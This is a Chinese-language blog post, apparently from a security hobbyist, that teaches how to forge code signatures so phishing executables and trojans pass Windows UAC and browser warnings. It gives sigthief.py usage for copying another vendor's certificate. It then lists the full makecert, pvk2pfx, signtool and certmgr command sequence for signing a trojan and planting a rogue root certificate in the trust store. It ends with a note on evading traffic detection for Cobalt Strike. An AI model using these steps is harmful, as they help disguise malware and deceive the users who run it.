强签名伪造

强签名伪造

前言

上周五有个朋友问我uac认证那个发布人能不能伪造,我问他伪造这玩意干啥,他说可以让钓鱼的exe更真实一点。

签名的作用

在当前零信任的互联网中,网站上充斥着大量钓鱼软件,普通网民无法识别这些恶意软件,但好在浏览器和计算机会帮你识别一些做工比较“粗糙”的钓鱼软件,作为攻击方我们不能指望用户“无脑”去点击下载这些已经被提示危险的软件,而对软件进行证书强签名就是为了解决这个问题。

以下是一些未签名的软件,浏览器的下载提示:

以下是我做的上篇dll代理加载uac认证的微信客户端程序(未签名)

而有签名的uac是这样的:

颜色都不一样怎么骗人!!!

img

实验1(no)

伪造签名可能很多人第一时间想到的是sigthief.py,我之前一直也是用这个对我木马进行签名的,有时候只是单独用这个伪造一个微软签名也是能过某些杀软的(删掉),但事实证明这方法不太行。(可能是我把事情想太简单了)

//usage
python3 sigthief.py -i 要伪造的证书软件 -t 未签名的软件 -o 输出的文件名 

这是我伪造某数字杀软证书的对比

实验2(yes)

//需要的工具
makecert.exe
cert2spc.exe
pvk2pfx.exe
signtool.exe
certmgr.exe

Windows SDK默认包含以上工具
SDK下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=8279

0x01 生成一个自签名的根证书

1、makecert.exe -n "CN=Root" -r -sv RootIssuer.pvk RootIssuer.cer
2、然后自己随便设置一个私钥,我这里设置为123456

0x02 使用这个证书签发一个子证书

1、makecert.exe -n "CN=Child" -iv RootIssuer.pvk -ic RootIssuer.cer -sv ChildSubject.pvk ChildSubject.cer -sky signature
2、Subject Key为123456/Issuer Signature 为123456

0x03 公钥证书格式转换成SPC

cert2spc.exe ChildSubject.cer ChildSubject.spc

0x04 将公钥证书和私钥合并成一个PFX格式的证书文件

pvk2pfx.exe -pvk ChildSubject.pvk -pi 123456 -spc ChildSubject.spc -pfx ChildSubject.pfx -f

0x05 为木马签名

signtool sign /f ChildSubject.pfx /p 123456 rubt.exe

注意:这里如果直接用cmd运行signtool可能会报如下错误:

> signtool sign /f ChildSubject.pfx /p 123456 rubt.exe
SignTool Error: No certificates were found that met all the given criteria.

解决方法使用vs开发人员命令提示符工具

0x06 导入证书

//普通权限
certmgr.exe -add -c Root.cer -s -r currentUser root
//管理员权限
certmgr.exe -add -c Root.cer -s -r localmachine root

0x07 实验结果

生成木马后,加载uac认证,最后在导入证书

注:不能先导入证书在加载uac认证,否则会签名失效

思考

在使用cs的时候往往会因为流量问题被查杀,特别是阿里云服务器,这里是否可以使用特制的证书进行绕过流量查杀,等待验证。

本文已同步更新至先知社区,更多内容可以查看:https://xz.aliyun.com/t/8563

posted @ 2020-11-23 18:21  Secde0  阅读(35)  评论(0编辑  收藏